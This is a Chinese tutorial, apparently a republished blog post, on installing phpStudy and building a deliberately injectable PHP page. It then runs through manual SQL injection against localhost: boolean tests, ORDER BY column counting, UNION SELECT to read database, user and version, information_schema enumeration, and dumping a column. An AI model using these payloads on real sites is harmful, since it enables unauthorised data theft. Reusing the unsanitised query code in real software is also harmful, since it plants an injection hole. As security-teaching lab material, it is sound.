[经验技巧] “php+mysql+apache”环境搭建及"手动SQL注入",20180527-0

[经验技巧] “php+mysql+apache”环境搭建及"手动SQL注入"

1.“php+mysql+apache”环境搭建

文件见附件1。

安装“phpStudy (php5.2) ”

  • 将压缩包解压后,双击“phpStudy(PHP5.2).exe”进行安装
  • 安装结束后,弹出“使用手册”及phpStudy窗体,点击“应用”:
  • 观察到两个指示灯由红色变为绿色,说明“Apache”和“MySQL”已成功启动:

在mysql中新建数据库及表

  • 打开“MySQL管理器”

注:mysql的登录名及密码都是“root”。

  • 新建数据库、表,并添加记录
  • 点击“SQL编辑器”选项卡,在编辑区域添加如下代码然后选中并执行:

create database student;#创建一个新的数据库,名为 student

use student;

create table class1(id int(20) not null AUTO_INCREMENT primary key,name varchar(20) not null,gender varchar(20),phone varchar(20));#在student数据库中创建新表,名为class1,有4个字段 id、name、gender、phone

#插入3条记录

insert into class1(name,phone,gender) values (‘own‘,‘13977888888‘,‘male‘);

insert into class1(name,phone,gender) values (‘hdh‘,‘13667777777‘,‘male‘);

insert into class1(name,phone,gender) values (‘ckm‘,‘15666666666‘,‘female‘);

#注意:每条语句后都用分号“;”作为结尾

执行SQL语句后,左侧导航栏中出现了新创建的数据库“student”。双击“student”后,点击“数据浏览器”选项卡,看到了在表“class1”中添加的3条记录:

也可导入sql脚本“class1.sql”来创建数据库、表并添加记录,见附件2。使用时如图导入即可:

  • 若导入sql脚本后未看到应该被创建的数据库“student”,点击“视图”选项卡中的“全部刷新”即可:

2.配置含有sql注入点的网页

  • 在phpStudy安装目录下的文件夹“WWW”中新建php网页

网页文件命名为“index.php”,在文件内添加如下代码:

<?php

$con = mysql_connect("localhost","root","root") or die();#连接数据库

mysql_select_db("student");#选择student数据库

$ID = $_GET[‘id‘];#获取URL中的参数“id”

$sql = "select * from class1 where id=$ID";#构建sql查询语句

/*若为字符型参数,则用 $sql = "select * from class1 where name=‘$name’";

$name左右加上单引号 */

echo "sql语句: ".$sql."<br >";

$res = mysql_query($sql);#执行查询语句

while($rows = mysql_fetch_array($res)){

echo "姓名: ".$rows[‘name‘]."<br >";

echo "性别: ".$rows[‘gender‘]."<br >";

echo "电话: ".$rows[‘phone‘]."<br >";

}

mysql_close($con);

?>

文件“index.php”见附件3。该php代码意为通过URL所传入的参数“id”的值,构建sql查询语句“select * from class1 where id”,最后输出所返回的记录中的三个字段“name”、“gender”、“phone”。

3.SQL注入

  • 判断是否为sql注入点

    • 整形参数判断

1、URL最后加上 and 1=1

2、URL最后加上 and 1=2

如果2异常,1正常就存在注入

本文使用的是整形参数,结果如下:

and 1=1

and 1=2

  • 猜字段数

http://127.0.0.1/?id=1 order by <n>  #注:n是任意数字。若返回页面正常,则该数字为字段数

  • 获取数据库名、用户名、数据库版本

http://127.0.0.1/?id=1 union select 1,database(),user(),version()

  • 猜解表名

    • 1.mysql版本在5.1后

      • mysql5.1后,设有一个表保存所有数据库下的表名,据此查询获得指定数据库下的表名

使用小葵工具转化数据库名“student”,得到hex值:

“小葵多功能转换工具”见附件4。

将Hex值填到“where table_schema=”后。如是获取了数据库“student”下的表“class1”的表名:

http://127.0.0.1/?id=1 union select 1,table_name,2,3 from information_schema.tables where table_schema=0x73747564656E74

2.mysql版本在5.1前时,如何猜解表名

在URL后加入sql语句,返回正常表示存在该表名

<URL> and exists(select * from <所猜解的表名>)

  • 获取指定表的列信息

    • 使用小葵工具转化表名“class1”,得到hex值:
  • 将Hex值填到”where table_name=”后。如是获取了表“class1”的列信息。

http://127.0.0.1/?id=1 union select 1,column_name,2,3 from information_schema.columns where table_name=0x636C61737331

  • 猜解列名(字段名)

    • 在URL后加入sql语句,返回正常表示存在所猜解的列名

<URL> and exists(select <所猜解的列名> from <表名>)

  • 获取指定列的数据

例如,获取表“class1”中,列“phone”的数据:

http://127.0.0.1/?id=1 union select 1,phone,2,3 from class1

注: 若浏览器访问页面时出现乱码,将浏览器编码设置为“UTF-8”即可解决:

============================================

原文地址:https://www.cnblogs.com/ownhp/p/9094888.html

时间: 2024-08-12 16:46:54

[经验技巧] “php+mysql+apache”环境搭建及"手动SQL注入",20180527-0的相关文章

php+mysql+Apache环境搭建

最近有一个小程序需要用php来跑,记录一下php的环境配置过程. 1.首先在下载集成工具wamp,WAMP是指在Windows服务器上使用Apache.MySQL和PHP的集成安装环境,可以快速安装配置Web服务器: https://sourceforge.net/projects/wampserver/files/WampServer%203/WampServer%203.0.0/wampserver3.0.6_x64_apache2.4.23_mysql5.7.14_php5.6.25-7.

在fedora21 上的php+mysql+apache环境搭建

LAMP Stands for Linux,Apache,MySQL and PHP. Most of the websites works with the above combination. The main purpose of LAMP is testing the application locally by the programmer before going to the production. Below are the steps to install LAMP (Apac

WAMP(Windows+Apache+Mysql+PHP)环境搭建

学习PHP已经有一段时间,一直没有写过关于开发环境搭建的笔记,现在补上吧,因为安装配置的步骤记得不是很清楚,借鉴了一些别人的经验,总结如下: 首先去官方网站下载各个软件,下载需要的版本: Apache下载:http://www.apache.org/dyn/closer.cgi Mysql下载:http://dev.mysql.com/downloads/ PHP下载:http://cn2.php.net/downloads.php 我因为之前搭建环境的时候没有考虑通用的版本问题,所以都选择了最

Lamp(linux+apache+mysql+php)环境搭建

Lamp(linux+apache+mysql+php)环境搭建 1.安装apache2:sudo apt-get installapache2 安装完毕后.执行例如以下命令重新启动apache:sudo/etc/init.d/apache2 restart,在浏览器中输入http://localhost或者http://127.0.0.1,会看到"It works!"说明apache成功安装. 2.安装php:sudoapt-get install libapache2-mod-ph

Win2012 R2 IIS8.5+PHP(FastCGI)+MySQL运行环境搭建教程

这篇文章主要介绍了Win2012 R2 IIS8.5+PHP(FastCGI)+MySQL运行环境搭建教程,需要的朋友可以参考下 准备篇 一.环境说明: 操作系统:Windows Server 2012 R2 PHP版本:php 5.5.8 MySQL版本:MySQL5.6.15 二.相关软件下载: 1.PHP下载地址: http://windows.php.net/downloads/releases/php-5.5.8-nts-Win32-VC11-x86.zip 2.MySQL下载地址:

rsyslog+mysql+loganalyzer 环境搭建日志服务器

环境:CentOS6.6 rsyslog+mysql+loganalyzer 环境搭建日志服务器 Client端:    192.168.2.10 MySQL服务器:  192.168.2.11 # Client端安装必备的软件包 yum install rsyslog-mysql -y 生成了2个文件: /lib64/rsyslog/ommysql.so           #rsyslog支持数据库的模块文件 /usr/share/doc/rsyslog-mysql-5.8.10/creat

Linux Debian 下LNMP服务器——nginx+mysql+php环境搭建及配置

昨天刚给公司服务器装了LNMP服务器环境,在这里简单记录一下过程备忘. 这里我在安装的时候是用的Dotdeb源,仅供参考. 1.导入Dotdeb源,据说Dotdeb源里的软件版本比较新. 在向源中导入Dotdeb前,我们需要先获取GnuPG key并导入: wget http://www.dotdeb.org/dotdeb.gpg cat dotdeb.gpg | apt-key add - 提示OK,表明导入成功.然后我们开始导入Dotdeb源,源列表的位置在“/etc/apt/sources

mysql真实环境搭建主从

 mysql真实环境搭建主从 防伪码:人之所以能,是相信能. 前言:当今数据库有oracle mysql  SQL Server ACCESS 等等很多种,今天我们来真实环境搭建mysql主从.先说一下四种数据库的区别: 1.四种数据库的区别: ACCESS:功能相对不是那么强大,主要是开发单机版软件中经常用到. SQL Server:是目前应用比较广泛和普遍的一款数据库,是数据库发展的一个里程碑. MySQL:是一个开源的关系数据库管理系统,有快速.可靠和易于使用的特点:MySQL服务器工作在

Win2012 R2 IIS8.5+PHP(FastCGI)+MySQL运行环境搭建wordpress博客教程

Win2012 R2 IIS8.5+PHP(FastCGI)+MySQL运行环境搭建教程 一.环境说明: 操作系统:Windows Server2012 R2 PHP版本:php 5.5.8 MySQL版本:MySQL5.6.15 二.相关软件下载: 1.PHP下载地址: http://windows.php.net/downloads/releases/php-5.5.8-nts-Win32-VC11-x86.zip 2.MySQL下载地址: http://cdn.mysql.com/Down